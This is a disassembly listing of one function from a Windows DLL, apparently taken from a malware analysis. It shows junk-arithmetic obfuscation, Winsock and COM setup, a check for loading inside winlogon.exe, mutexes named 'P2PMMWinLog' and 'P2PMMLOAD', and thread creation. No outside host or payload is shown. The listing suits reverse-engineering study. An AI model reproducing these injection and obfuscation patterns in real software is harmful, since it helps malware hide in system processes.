Function at 0x180020e60
Capabilities:
Initialize winsock library

Disassembly:
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x618
mov rax, qword [0x180045408]
xor rax, rsp
mov qword [rsp + 0x608], rax
mov dword [rsp + 0x20], 0x3ff
mov eax, dword [rsp + 0x20]
add eax, 0x3ff
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
sub eax, 0x3ff
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
add eax, 0x4573
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
sub eax, 0x3332
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
add eax, 0x7807
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
sub eax, 0x7f0e
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
add eax, 0x363f
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
sub eax, 0x345d
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
add eax, 0x327b
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
sub eax, 0x3718
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
add eax, 0x1e1a
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
sub eax, 0x6639
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
add eax, 0x6d10
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
sub eax, 0x7e73
mov dword [rsp + 0x20], eax
mov edx, dword [rsp + 0x20]
lea rcx, [0x18003a544]
call fcn.1800220c4
mov eax, dword [rsp + 0x628]
mov dword [rsp + 0x604], eax
cmp dword [rsp + 0x604], 1
je 0x180020f72
jmp 0x1800210b6
call fcn.180005110
lea rdx, [rsp + 0x30]
mov cx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitialize]
mov r11, qword [rsp + 0x620]
mov qword [0x18004a4f0], r11
mov r8d, 0x3ff
lea rdx, [rsp + 0x1d0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, str.winlogon.exe
lea rcx, [rsp + 0x1d0]
call qword [sym.imp.SHLWAPI.dll_StrStrIA]
test rax, rax
je 0x18002102b
lea rax, str.P2PMMWinLog
mov qword [rsp + 0x5d0], rax
mov rcx, qword [rsp + 0x5d0]
call fcn.18000c820
mov rcx, rax
call fcn.18000a190
test eax, eax
jne 0x180021011
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x180020cd0]
lea rcx, [rsp + 0x5d8]
call fcn.180006f30
jmp 0x18002102b
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x180020d90]
lea rcx, [rsp + 0x5e0]
call fcn.180006f30
lea rdx, [0x18003a7a0]
lea rcx, [rsp + 0x1d0]
call qword [sym.imp.SHLWAPI.dll_StrStrIA]
test rax, rax
je 0x1800210b6
lea rax, str.P2PMMLOAD
mov qword [rsp + 0x5e8], rax
mov rcx, qword [rsp + 0x5e8]
call fcn.18000c820
mov rcx, rax
call fcn.18000a190
test eax, eax
jne 0x180021089
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x180020cd0]
lea rcx, [rsp + 0x5f0]
call fcn.180006f30
jmp 0x1800210b6
call fcn.18000c8b0
test eax, eax
je 0x18002109c
mov dword [0x18004a4f8], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [fcn.180020390]
lea rcx, [rsp + 0x5f8]
call fcn.180006f30
mov dword [rsp + 0x600], 0x3ff
mov eax, dword [rsp + 0x600]
add eax, 0x3ff
mov dword [rsp + 0x600], eax
mov eax, dword [rsp + 0x600]
sub eax, 0x5e39
mov dword [rsp + 0x600], eax
mov eax, dword [rsp + 0x600]
add eax, 0x3c20
mov dword [rsp + 0x600], eax
mov eax, dword [rsp + 0x600]
sub eax, 0x366e
mov dword [rsp + 0x600], eax
mov eax, dword [rsp + 0x600]
add eax, 0x437b
mov dword [rsp + 0x600], eax
mov eax, dword [rsp + 0x600]
sub eax, 0x4c55
mov dword [rsp + 0x600], eax
mov eax, dword [rsp + 0x600]
add eax, 0x3e0f
mov dword [rsp + 0x600], eax
mov eax, dword [rsp + 0x600]
sub eax, 0x4b7d
mov dword [rsp + 0x600], eax
mov eax, dword [rsp + 0x600]
add eax, 0x466f
mov dword [rsp + 0x600], eax
mov eax, dword [rsp + 0x600]
sub eax, 0x342a
mov dword [rsp + 0x600], eax
mov eax, dword [rsp + 0x600]
add eax, 0x628
mov dword [rsp + 0x600], eax
mov eax, dword [rsp + 0x600]
sub eax, 0x226d
mov dword [rsp + 0x600], eax
mov eax, dword [rsp + 0x600]
add eax, 0x1d74
mov dword [rsp + 0x600], eax
mov eax, dword [rsp + 0x600]
sub eax, 0x5278
mov dword [rsp + 0x600], eax
mov edx, dword [rsp + 0x600]
lea rcx, [0x18003a5e4]
call fcn.1800220c4
mov eax, 1
mov rcx, qword [rsp + 0x608]
xor rcx, rsp
call fcn.180021d30
add rsp, 0x618
ret